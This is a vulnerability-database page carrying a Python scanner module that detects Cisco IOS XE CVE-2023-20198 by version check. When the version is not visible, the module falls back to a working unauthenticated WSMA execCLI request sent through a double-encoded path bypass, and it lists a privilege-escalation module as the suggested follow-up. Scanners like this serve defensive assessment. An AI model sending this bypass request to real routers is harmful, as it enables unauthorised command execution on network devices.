Lucene search
+L

Cisco IOS XE CVE-2023-20198 detection

🗓️ 15 Jul 2026 07:29:04Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Cisco IOS XE Web UI allows privilege escalation per CVE-2023-20198.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Unprotected Alternate Channel in Rockwellautomation Allen-Bradley_Stratix_5200_Firmware
25 Apr 202406:59
–githubexploit
githubexploit
GithubExploit
Exploit for Unprotected Alternate Channel in Rockwellautomation Allen-Bradley_Stratix_5200_Firmware
3 Nov 202313:05
–githubexploit
githubexploit
GithubExploit
Exploit for Unprotected Alternate Channel in Rockwellautomation Allen-Bradley_Stratix_5200_Firmware
26 Aug 202408:16
–githubexploit
githubexploit
GithubExploit
Exploit for Unprotected Alternate Channel in Rockwellautomation Allen-Bradley_Stratix_5200_Firmware
20 Oct 202305:28
–githubexploit
githubexploit
GithubExploit
Exploit for Unprotected Alternate Channel in Rockwellautomation Allen-Bradley_Stratix_5200_Firmware
18 Oct 202315:04
–githubexploit
githubexploit
GithubExploit
Exploit for Unprotected Alternate Channel in Rockwellautomation Allen-Bradley_Stratix_5200_Firmware
11 Apr 202515:37
–githubexploit
githubexploit
GithubExploit
Exploit for Unprotected Alternate Channel in Rockwellautomation Allen-Bradley_Stratix_5200_Firmware
17 Oct 202322:41
–githubexploit
githubexploit
GithubExploit
Exploit for Unprotected Alternate Channel in Rockwellautomation Allen-Bradley_Stratix_5200_Firmware
25 Jun 202602:30
–githubexploit
githubexploit
GithubExploit
Exploit for Unprotected Alternate Channel in Rockwellautomation Allen-Bradley_Stratix_5200_Firmware
25 Oct 202307:13
–githubexploit
githubexploit
GithubExploit
Exploit for Unprotected Alternate Channel in Rockwellautomation Allen-Bradley_Stratix_5200_Firmware
20 Oct 202316:01
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re
from typing import Optional, Tuple

from kittysploit import *
from lib.protocols.http.http_client import Http_client

_WEBUI_PATH = "/webui/"
_LOGOUT_TOKEN_PATH = "/webui/logoutconfirm.html?logon_hash=1"
_WSMA_PATH = "/%2577eb%2575i_%2577sma_Http"
_TOKEN_RE = re.compile(r"[a-f0-9]{18}", re.I)

# First fixed release per IOS XE train (Cisco advisory)
_FIXED_BY_TRAIN = {
    (17, 9): (17, 9, 4, 1),   # 17.9.4a
    (17, 6): (17, 6, 6, 1),   # 17.6.6a
    (17, 3): (17, 3, 8, 1),   # 17.3.8a
    (16, 12): (16, 12, 10, 1),  # 16.12.10a
}


class Module(Scanner, Http_client):
    __info__ = {
        "name": "Cisco IOS XE CVE-2023-20198 detection",
        "description": (
            "Detects Cisco IOS XE Web UI and flags CVE-2023-20198 by comparing the "
            "advertised IOS XE version against Cisco fixed releases. Falls back to "
            "a WSMA show version probe only when the version cannot be read from the "
            "Web UI page."
        ),
        "author": ["KittySploit Team"],
        "severity": "critical",
        "cve": "CVE-2023-20198",
        "references": [
            "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z",
            "https://nvd.nist.gov/vuln/detail/CVE-2023-20198",
        ],
        "modules": [
            "auxiliary/admin/http/cisco_ios_xe_cve_2023_20198_priv_esc",
        ],
        "tags": [
            "web",
            "scanner",
            "cisco",
            "ios-xe",
            "router",
            "cve-2023-20198",
        ],
        "agent": {
            "risk": "active",
            "effects": ["network_probe"],
            "expected_requests": 1,
            "reversible": True,
            "approval_required": False,
            "produces": ["tech_hints", "risk_signals"],
            "cost": 1.0,
            "noise": 0.1,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["cisco", "ios-xe", "ios xe"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": ["/webui/"],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "admin_access", "from_detail": "ios_xe_wsma"},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "auxiliary/admin/http/cisco_ios_xe_cve_2023_20198_priv_esc",
                ],
            },
        },
    }

    port = OptPort(80, "Target HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=True, advanced=True)

    _VERSION_PATTERNS = (
        re.compile(r"IOS[- ]XE Software, Version\s+([\d.]+[a-z]?)", re.I),
        re.compile(r"Cisco IOS XE Software, Version\s+([\d.]+[a-z]?)", re.I),
        re.compile(r"ios[-_]?xe[^0-9]{0,16}([\d]+\.[\d]+\.[\d]+[a-z]?)", re.I),
    )

    def _timeout(self) -> int:
        return max(int(self.timeout or 10), 10)

    @staticmethod
    def _version_key(value: str) -> Optional[Tuple[int, int, int, int]]:
        match = re.match(r"(\d+)\.(\d+)\.(\d+)([a-z]?)", str(value or "").strip(), re.I)
        if not match:
            return None
        suffix = match.group(4).lower()
        suffix_rank = (ord(suffix) - ord("a") + 1) if suffix else 0
        return (
            int(match.group(1)),
            int(match.group(2)),
            int(match.group(3)),
            suffix_rank,
        )

    def _extract_version(self, text: str) -> str:
        for pattern in self._VERSION_PATTERNS:
            match = pattern.search(text or "")
            if match:
                return match.group(1).strip()
        return ""

    def _is_ios_xe(self, text: str) -> bool:
        lowered = (text or "").lower()
        return "ios xe" in lowered or "ios-xe" in lowered or "/webui/" in lowered

    def _version_status(self, version: str) -> Optional[str]:
        """Return 'vulnerable', 'patched', or None if train is unknown."""
        key = self._version_key(version)
        if not key:
            return None
        fixed = _FIXED_BY_TRAIN.get((key[0], key[1]))
        if not fixed:
            return None
        if key < fixed:
            return "vulnerable"
        return "patched"

    def _report(self, version: str, source: str) -> bool:
        status = self._version_status(version)
        if status == "vulnerable":
            self.set_info(
                severity="critical",
                reason=(
                    f"IOS XE {version} ({source}) is below the fixed release "
                    f"for train {version.rsplit('.', 1)[0]}.x (CVE-2023-20198)"
                ),
                version=version,
            )
            return True
        if status == "patched":
            self.set_info(
                severity="info",
                reason=f"IOS XE {version} ({source}) appears patched for CVE-2023-20198",
                version=version,
            )
            return False
        self.set_info(
            severity="info",
            reason=(
                f"IOS XE {version} ({source}) detected; release train not mapped "
                "to Cisco fixed releases"
            ),
            version=version,
        )
        return False

    def _retrieve_token(self) -> Optional[str]:
        response = self.http_request(
            method="POST",
            path=_LOGOUT_TOKEN_PATH,
            allow_redirects=False,
            timeout=self._timeout(),
        )
        if not response:
            return None
        match = _TOKEN_RE.search(response.text or "")
        return match.group(0) if match else None

    def _wsma_show_version(self, token: str) -> str:
        soap = (
            '<?xml version="1.0"?>'
            '<SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/">'
            "<SOAP:Header>"
            '<wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext">'
            "<wsse:UsernameToken>"
            "<wsse:Username>admin</wsse:Username>"
            "<wsse:Password>x</wsse:Password>"
            "</wsse:UsernameToken>"
            "</wsse:Security>"
            "</SOAP:Header>"
            "<SOAP:Body>"
            '<request correlator="scan" xmlns="urn:cisco:wsma-exec">'
            '<execCLI xsd="false"><cmd>show version</cmd></execCLI>'
            "</request>"
            "</SOAP:Body>"
            "</SOAP:Envelope>"
        )
        response = self.http_request(
            method="POST",
            path=_WSMA_PATH,
            data=soap,
            headers={
                "Content-Type": "text/xml;charset=UTF-8",
                "Authorization": token,
            },
            allow_redirects=False,
            timeout=self._timeout(),
        )
        if not response:
            return ""
        body = response.text or ""
        if "cisco ios" in body.lower() or "version " in body.lower():
            return body
        return ""

    def run(self):
        response = self.http_request(
            method="GET",
            path=_WEBUI_PATH,
            allow_redirects=True,
            timeout=self._timeout(),
        )
        if not response:
            return False

        body = response.text or ""
        if not self._is_ios_xe(body):
            print_error("Cisco IOS XE Web UI not detected")
            return False

        version = self._extract_version(body)
        if version:
            return self._report(version, "Web UI")

        print_status("Version not exposed in Web UI, falling back to WSMA probe")
        token = self._retrieve_token()
        if not token:
            self.set_info(
                severity="info",
                reason="IOS XE Web UI detected but version could not be determined",
            )
            return False

        wsma_body = self._wsma_show_version(token)
        version = self._extract_version(wsma_body)
        if version:
            return self._report(version, "WSMA")

        if wsma_body:
            self.set_info(
                severity="critical",
                reason="CVE-2023-20198: unauthenticated WSMA execCLI confirmed (version unknown)",
            )
            return True

        self.set_info(
            severity="medium",
            reason="IOS XE Web UI with WSMA token exposed; exploitability not confirmed",
        )
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Sep 2026 10:07Current
8.1High risk
Vulners AI Score8.1
CVSS 3.110
EPSS0.99571
SSVC
0